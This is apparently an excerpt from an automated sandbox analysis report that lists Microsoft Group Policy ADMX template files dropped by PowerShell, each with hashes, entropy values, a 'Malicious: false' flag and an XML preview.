SHA-512:	88783F017E38E9A55F96874B1DE1FB20030AF3E8406511335EE44CCCAB9D372C772215027333545F93EABD70B6E578945351B04A9CC103A33ED3EE824098C5E1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="credui" namespace="Microsoft.Policies.CredentialsUI" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CredUI" displayName="$(string.CredUI)" explainText="$(string.CredUI_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="EnumerateAdministrators" class="Machine" displayName="$(string.EnumerateAdministrators)" explainText="$(string.EnumerateAdministrators_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\CredUI" value

C:\Users\user\AppData\Local\Temp\file\Resource\CredentialProviders.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3465
Entropy (8bit):	5.1336857667776385
Encrypted:	false
SSDEEP:	96:QeD/mD1GsHowNmKnK95qg10kwNy1ypjfEEkw9aCdw1htn0dTSXntd/n3oq:vYIsHlo+NyopjfE29aCdwzRgS3z1
MD5:	D96F90B4D57C16341985C99BC1E6F8A0
SHA1:	E31AFBD7A9A22E13A60167B5086B198E628C185D
SHA-256:	E0E27CF340F169CAE76BA2B6F0B16A5314E831B9EBC18F5C737C6D40CDA528CB
SHA-512:	79351ADB28AF640BDEAAE3807BFFEFD4B6B6C31AD6EED802B1F1414EDCBEE828E037B38269E5D1C1E4BF6A5B6F31E127DA3A7360E60FE32868433287B78D6E68
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="credentialproviders" namespace="Microsoft.Policies.CredentialProviders" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="logon" namespace="Microsoft.Policies.WindowsLogon" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Logon" displayName="$(string.Logon)">.. <parentCategory ref="logon:Logon" />.. </category>.. </categories>.. <policies>.. <policy name="DefaultLogonDomain" class="Machine" displayName="$(string.DefaultLogonDomain)" explainText="$(string.DefaultLogonDomain_Help)" presentation="$(presentation.DefaultLogonDo

C:\Users\user\AppData\Local\Temp\file\Resource\CtrlAltDel.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2141
Entropy (8bit):	5.242806080914578
Encrypted:	false
SSDEEP:	48:3geDw08gmD9XfTofHKnK025/aPD/eawD/ranD/yImDQ:QeD/mDd7ovKnKp5/azeaWraryI7
MD5:	3106CD8D0D9E3054049605023AB99E96
SHA1:	EDA64046CB41BD2F52CBCB921714A302FCF3AEC5
SHA-256:	7499B18863D6C9A9EB8D67139EAC1633B68825DC2387F864C7771C8BBBB64D5E
SHA-512:	3EFD2F280398AA214A5F0F2B2CF108E739D1D8CCCCB96A08C6F38B2E9D6F0ACD08F919FDD669C9E2251A75B15ED069C5EA78521A8DA379A674C518B14A1E4D3A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="ctrlaltdel" namespace="Microsoft.Policies.ControlAltDelete" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CADOptions" displayName="$(string.CADOptions)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="DisableChangePassword" class="User" displayName="$(string.DisableChangePassword)" explainText="$(string.DisableChangePassword_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\System" valueName="DisableChangePassword">.. <par

C:\Users\user\AppData\Local\Temp\file\Resource\DCOM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (411), with CRLF line terminators
Category:	dropped
Size (bytes):	2437
Entropy (8bit):	5.208801219282588
Encrypted:	false
SSDEEP:	48:3geDw08gmDRfoofHKnKzV2gKa15tlVzs7hTdKlM7ksthTGwT30ZqC:QeD/mDRAovKnK5DKg5lsFdysrGwT30YC
MD5:	5FBC0FD72D7540517356AD9A2F09CDFF
SHA1:	23306716C1D059F81D866906FF0A54EB603C8568
SHA-256:	B51EDA8A4E726F6EB25FC5FC68133FCA27E59C2D2617FAD03C0879417E1FD525
SHA-512:	ADDCD59E4A56AAC98BEADE365F6AA22DD4862AF744A83EA0B845564A2DECEB2821A1BF72672A0869E711FA53E965B4238B999BFE77B932CB3ADB4968A68C69A1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="dcom" namespace="Microsoft.Policies.DECOM" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DCOM" displayName="$(string.DCOM)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="DCOMAppCompatPolicies" displayName="$(string.DCOMAppCompatPolicies)">.. <parentCategory ref="DCOM" />.. </category>.. </categories>.. <policies>.. <policy name="DCOMActivationSecurityCheckAllowLocalList" class="Machine" displayName="$(string.DCOMActivationSecurityCheckAllowLocalList)" ex

C:\Users\user\AppData\Local\Temp\file\Resource\DFS.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1093
Entropy (8bit):	5.233888768071789
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtz6fNc0s6fE3+ZKjcpQgulrIh4AwnP/vC:3geDw08gmDffNcofT5RarIh4AwP3C
MD5:	1E14FF4F0123BC8FBAA9BCC5C1AB18E9
SHA1:	273C356FFCD1663C83A2B0072FB06049547F8AEF
SHA-256:	0226FCEBA7FB8200475A1762F4E86603EB9E41C42FC1AB21770846A12D47C9DB
SHA-512:	1653025ED21C28B0B4DB6C8820AB3E29376EA47B0101EADC8C0CC920C7BD703EDB54DC6C8295950C8F81B147826AB81AC5E514A164FAF326EB6FA0C3E84A9035
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="dfs" namespace="Microsoft.Policies.DistributedFileSystem" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DFSDiscoverDC" class="Machine" displayName="$(string.DFSDiscoverDC)" explainText="$(string.DFSDiscoverDC_Help)" presentation="$(presentation.DFSDiscoverDC)" key="Software\Policies\Microsoft\System\DFSClient">.. <parentCategory ref="windows:Network" />.. <supportedOn ref="windows:SUPPORTED_WindowsXP" />.. <elements>.. <decimal id="DFSDiscoverDialog" valueName="DfsDcNameDelay" minValue="1

C:\Users\user\AppData\Local\Temp\file\Resource\DWM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (325), with CRLF line terminators
Category:	dropped
Size (bytes):	7149
Entropy (8bit):	5.103552380538948
Encrypted:	false
SSDEEP:	96:QeD/mDULovKnKBK/5vSmdQSmdMSNdVSNd4StdrSFlGwMkrYVHX1XSFlGwMkrYVHJ:vYS1Mu4otidMkrY3QdMkrY369e
MD5:	D14836FA3C9C54F7ED08F1DCD929C903
SHA1:	A35B45D34E27C2ED798A1BD6090EA23792EC5C71
SHA-256:	F7CA967995175C01E9356A90C2022C5C10BB505A391450F785DF5F3EAB241635
SHA-512:	C75BB7899CAAF7845D1842733BFA0B0926409A88EC72386509C2B38E6DDE8F8C1E1C5587A479F61A07C382750187ECE2BE89E4D03F814DC1ACEBCF618EA36E7A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="dwm" namespace="Microsoft.Policies.DesktopWindowManager" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CAT_DesktopWindowManager" displayName="$(string.CAT_DesktopWindowManager)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="CAT_DesktopWindowManagerColorization" displayName="$(string.CAT_DesktopWindowManagerColorization)">.. <parentCategory ref="CAT_DesktopWindowManager" />.. </category>.. </categories>.. <policies>.. <policy name="DwmDisallowA

C:\Users\user\AppData\Local\Temp\file\Resource\Desktop.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	13734
Entropy (8bit):	5.186162827486223
Encrypted:	false
SSDEEP:	384:nsjhVKOutXqzs0oEDdxjOlE2VPqS55vERN+IlcdKpI87E7EU0Fh49MOwgU5:stoVtuNPZF2lVPR9iN+2bn
MD5:	C0A31C6C80DFAC55C02D86939AC64921
SHA1:	62BEA41DCD0249FFED1B4BB0032EF059E4E51256
SHA-256:	273F86DA68FE2917CC3B1E0B60B2657B2EEB005E03517CE93C8A02FD38666366
SHA-512:	86121FB1459A319D005AB2C4031A7FC70CC9529772BC3B2415D1DA91FB68365EE447BD6A4134BF3792B90C6044F0061480A54CD48D5806271D445CC32C25D6CD
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="desktop" namespace="Microsoft.Policies.WindowsDesktop" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="ActiveDesktop" displayName="$(string.ActiveDesktop)">.. <parentCategory ref="windows:Desktop" />.. </category>.. <category name="ActiveDirectory" displayName="$(string.ActiveDirectory)">.. <parentCategory ref="windows:Desktop" />.. </category>.. </categories>.. <policies>.. <policy name="ForceActiveDesktopOn" class="User" displayName="$(string.ForceActiveDesktopOn)" explainText="$(st

C:\Users\user\AppData\Local\Temp\file\Resource\DeviceCompat.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	5.123741024741216
Encrypted:	false
SSDEEP:	48:3geDw08gmDUfKofHKnKYQ5p5HrVWNuJH+VWa:QeD/mDUCovKnKl5DHQN0HLa
MD5:	0E33AAB976A95C6AC1816E655FB2F235
SHA1:	424EEBAA9973AFC91839AA5B8A7D860CE7AEEB42
SHA-256:	C33E353235923157734EAD703C56FE926AFDB855DE3F73EEDA38DE3F8EF0A920
SHA-512:	F7F9753141AA4EB7750C7D22B0E8FA904A98C5D518F8B027D151951DADE23D4E9781FA000E5E1257C36C1F5CB44FA4112747AAEB221BE5667AA2E78458F1DDA1
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="devicecompat" namespace="Microsoft.Policies.DeviceCompatibility" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DeviceCompat" displayName="$(string.DeviceCompat)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DeviceFlags" class="Machine" displayName="$(string.DeviceFlags)" explainText="$(string.DeviceFlags_Help)" key="System\CurrentControlSet\Policies\Microsoft\Compatibility" valueName="DisableDeviceFlags">.. <parentCategor

C:\Users\user\AppData\Local\Temp\file\Resource\DeviceInstallation.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (353), with CRLF line terminators
Category:	dropped
Size (bytes):	13015
Entropy (8bit):	4.995281495498216
Encrypted:	false
SSDEEP:	384:o4W9TP+lHHPNNZ8fONothOLbNXCrMNWx/ODQhNDcBW0aEMXMEFARMKvVYr4C:MDKuOLFS0nRxnC1GeaYEC
MD5:	71DBAEB7EB27FFC47DD10614A672EC74
SHA1:	FD6426DDAFCB4EBAB1B997A3B5DF85CFDC220CD7
SHA-256:	45BC5B0D29C5AA64003E2A2ABA280028BDC218F07653AEACBF819B1F6132BD9D
SHA-512:	B6D85858021D5D76C593277FC7A9DB623A954FCD83A029F87506C480F95719F6CF5D3EB6779D5358A8C36282A07DEF44374F814BD1302F3FDBDB238BD27E342E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="devinst" namespace="Microsoft.Policies.DeviceInstallation" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DeviceInstall_Category" displayName="$(string.DeviceInstall_Category)" explainText="$(string.DeviceInstall_Help)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="DriverInstall_Category" displayName="$(string.DriverInstall_Category)" explainText="$(string.DriverInstall_Help)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="Device

C:\Users\user\AppData\Local\Temp\file\Resource\DeviceSetup.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (357), with CRLF line terminators
Category:	dropped
Size (bytes):	7554
Entropy (8bit):	5.035470714959613
Encrypted:	false
SSDEEP:	96:QeD/mDIkoys5q0DUodcNUOdeNUBd0mwd1GaV1tgvdwgvdsOCpqC3wRCasRe0SU19:vYj4KNGlGId1GaVMtN9oFWelt11
MD5:	A9FCA136C33A62A61E1155F46E132AA9
SHA1:	7BC2DABD4B6BF3917B05D5DE89050BEB388D2CD7
SHA-256:	1DE8513DC5F9B987198F70E77180CB6740F867D8A38210AC147D17061D9F0762
SHA-512:	2ACEF61DF531295C4F0F29AF2C441EBD1A03848D2C150214E03CDA0403D9E3E3ADBBA86A7F4E7EEB7985FA11DC14B98C36F386A6E71961F6C627858577936492
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="dsm" namespace="Microsoft.Policies.DeviceSoftwareSetup" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="devinst" namespace="Microsoft.Policies.DeviceInstallation" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DeviceInstall_BalloonTips" class="Machine" displayName="$(string.DeviceInstall_BalloonTips)" explainText="$(string.DeviceInstall_BalloonTips_Help)" key="Software\Policies\Microsoft\Windows\DeviceInstall\Settings" valueName="DisableBalloonTips">.. <parentCategory ref="devinst:DeviceInstall_Category" />.. <supportedOn ref

C:\Users\user\AppData\Local\Temp\file\Resource\DigitalLocker.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1992
Entropy (8bit):	5.169883563197789
Encrypted:	false
SSDEEP:	48:3geDw08gmD8foofHKnK4Q5ZTmTVxf8O//hdZT5lTVxf8O//hq:QeD/mD8AovKnKF5ZahV8ORdZHhV8ORq
MD5:	B3B1BAB12CE011462C6057621C9E510C
SHA1:	1C024C39AE13C62B93CAFCD14CD85E5E3CE34B07
SHA-256:	91935922C819A55CC1BC397B27917CEF2D109E42852CC9FF4BE8A6160E6A98BE
SHA-512:	67F24EB4F64CF2FB8BF47DB0B715ED15E089C4BF80D0D3A16B1BAC80A6B6686AF3776F013ED1A4CDDD536171306EEB7914C00F8E517E1301BC0206745AE8E122
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="digitallocker" namespace="Microsoft.Policies.DigitalLocker" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="Digitalx_GroupPolicyCategory" displayName="$(string.Digitalx_GroupPolicyCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="Digitalx_DiableApplication_TitleText_1" class="User" displayName="$(string.Digitalx_DiableApplication_TitleText)" explainText="$(string.Digitalx_DisableApplication_DescriptionText)" key="SOFTWARE\

C:\Users\user\AppData\Local\Temp\file\Resource\DiskDiagnostic.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3034
Entropy (8bit):	5.332741373783983
Encrypted:	false
SSDEEP:	48:3geDw08gmDGfNofrBePKnKa55UvAv9h5wH41+Kv9hhv14Dv1Lv14Dv1M:QeD/mDGlomKnK25GAvVwH41fvNv14DvN
MD5:	70E2DDECF31D46426536AD6B5F766681
SHA1:	47A38A4362A3DACB6B7E07638EB1CC19A652CB81
SHA-256:	421446138D4390F212B5A3163F09026889AA2BD1002E254170D78AFB98575385
SHA-512:	E7423AA076DABDD2D482A5E935A4CB4E49AC8612F249A2CE907433A6C1A3A9B9ACD6D98E36E9A2C4622863F12D4585CCE764E509E3F5D5DA9B3A5C77C63B9D5A
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="diskdiagnostic" namespace="Microsoft.Policies.DiskDiagnostics" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn>.. <definitions>.. <definition name="SUPPORTED_WindowsLonghornServerDesktopExperienceOrVista" displayName="$(string.SUPPORTED_WindowsLonghornServerDesktopExperienceOrVista)" />.. </definitions>.. </supportedOn>.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <pol

C:\Users\user\AppData\Local\Temp\file\Resource\DiskNVCache.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2758
Entropy (8bit):	5.110020137300313
Encrypted:	false
SSDEEP:	48:3geDw08gmDZffn7ofHKnKg25r5uUxjbNUEUujbNNOUFjbN0oUlQjba:QeD/mDZfTovKnKV54UlNdU8NwUhNlUEa
MD5:	D68AF630CA5263C33A5ED24F9B836A06
SHA1:	F808BE411D11984410D172189AA115B6306B7478
SHA-256:	EADD8E9BEE9FE5E5D432FD4D95E365EBFC02E38C80C7C02E1A4D73EB8A1FF16B
SHA-512:	F020159B0271E40D33BF42C9B1BF770F0729968416D4B88A926F5B10ADA48EC3A0C913A910B0C7BF60CE3F4F183BFB4C958FC0419E5781C1F1D757C5C06DFEB4
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="disknvcache" namespace="Microsoft.Policies.DiskNVCache" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="NvCacheCat" displayName="$(string.NvCacheCat)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="BootResumePolicy" class="Machine" displayName="$(string.BootResumePolicy)" explainText="$(string.BootResumePolicyHelp)" key="Software\Policies\Microsoft\Windows\NvCache" valueName="OptimizeBootAndResume">.. <parentCategory ref="NvCacheCat" />

C:\Users\user\AppData\Local\Temp\file\Resource\DiskQuota.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (309), with CRLF line terminators
Category:	dropped
Size (bytes):	6123
Entropy (8bit):	5.033540909765389
Encrypted:	false
SSDEEP:	96:QeD/mDvhovKnK55lfJdiTf8dbuDwdPpPaBPFzPr1EwfpdE4fVdxfS:vY5G3Y8ddPpPkPBPrWek2pS
MD5:	E3D825A99381831BFAD9BCFB9477F6DD
SHA1:	D2100765F83B70F2039DE139ABC45864C0FFFC85
SHA-256:	8DDA73F3DE296250CA69B04A518B848B43DF3C3AC50498C12A40A6CE51732CA0
SHA-512:	4EABBDB1339300000C2DADAFCDB46504AF563E91F77B4B937B8D4C7571FB118897C2967D9A587A55344CAA9D0DB68B79099741E98A13B134D1633382ADF32551
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="diskquota" namespace="Microsoft.Policies.DiskQuota" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DiskQuota" displayName="$(string.DiskQuota)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="DQ_Enable" clientExtension="{3610eda5-77ef-11d2-8dc5-00c04fa31a66}" class="Machine" displayName="$(string.DQ_Enable)" explainText="$(string.DQ_Enable_Help)" key="Software\Policies\Microsoft\Windows NT\DiskQuota" valueName="Enable">.. <parentCategor

C:\Users\user\AppData\Local\Temp\file\Resource\DistributedLinkTracking.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	989
Entropy (8bit):	5.2736166967917555
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKt06fYX0s6fE3+ZKjcpwoXV/NSw9qOW:3geDw08gmDEfYXofT5BXn79q7
MD5:	41397109EB474F1C8AA197E8936CDAC4
SHA1:	216F526B6211CCFE0D6B2401284E66A926AFBB60
SHA-256:	835AEE3D0B5EEFB488178BE0A1A8E01CCAA222252DE2A74B447A2B79F1E88EF8
SHA-512:	658381787613221C7F3DA6DAC0B233EFD959875A28B83B1621A4FBADBBECA319530E6BCF3A7CB26A3BC51CB7F3BD41367167FF7EE096D2BFD6A24DD67F008920
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="distributedlinktracking" namespace="Microsoft.Policies.DistributedLinkTracking" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="DLT_AllowDomainMode" class="Machine" displayName="$(string.DLT_AllowDomainMode)" explainText="$(string.DLT_AllowDomainMode_Explain)" key="Software\Policies\Microsoft\Windows\System" valueName="DLT_AllowDomainMode">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_WindowsPreVista" />.. </policy>.. </policies>..</policyDefinitions>..

C:\Users\user\AppData\Local\Temp\file\Resource\DnsClient.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (335), with CRLF line terminators
Category:	dropped
Size (bytes):	13460
Entropy (8bit):	5.095676944099727
Encrypted:	false
SSDEEP:	384:6ex+zeBWHwSSeBLcUxTyR6hcwfnc+yrc9GrcQRcfZOrZDwbukvttZNmEi8siqVx4:xIaYQtZa4yctYAYQOqkI8s/U
MD5:	BB56015F7F3EBF5C9BF38E0EE2B85245
SHA1:	538FC6652CB865EDD5FBCBBDC1FA34AC7AEDBF62
SHA-256:	5DB2C861716E01516CDC0813F8717C99D5D44A4E6811DF01983B7B12690B1999
SHA-512:	38C313AD4044EB506A45FF97E5A9B77CF644F97069AD10D569766740251108926668E8CC7F69DE5AB16B9E277B742837BF2809818E0698E6568DDE71F7038DE5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="dnsclient" namespace="Microsoft.Policies.DNSClient" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="DNS_Client" displayName="$(string.DNS_Client)">.. <parentCategory ref="windows:Network" />.. </category>.. </categories>.. <policies>.. <policy name="DNS_Domain" class="Machine" displayName="$(string.DNS_Domain)" explainText="$(string.DNS_Domain_Help)" presentation="$(presentation.DNS_Domain)" key="Software\Policies\Microsoft\Windows NT\DNSClient">.. <parentCategory ref="DNS_Client" />..

C:\Users\user\AppData\Local\Temp\file\Resource\EAIME.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (352), with CRLF line terminators
Category:	dropped
Size (bytes):	5711
Entropy (8bit):	5.146796063672455
Encrypted:	false
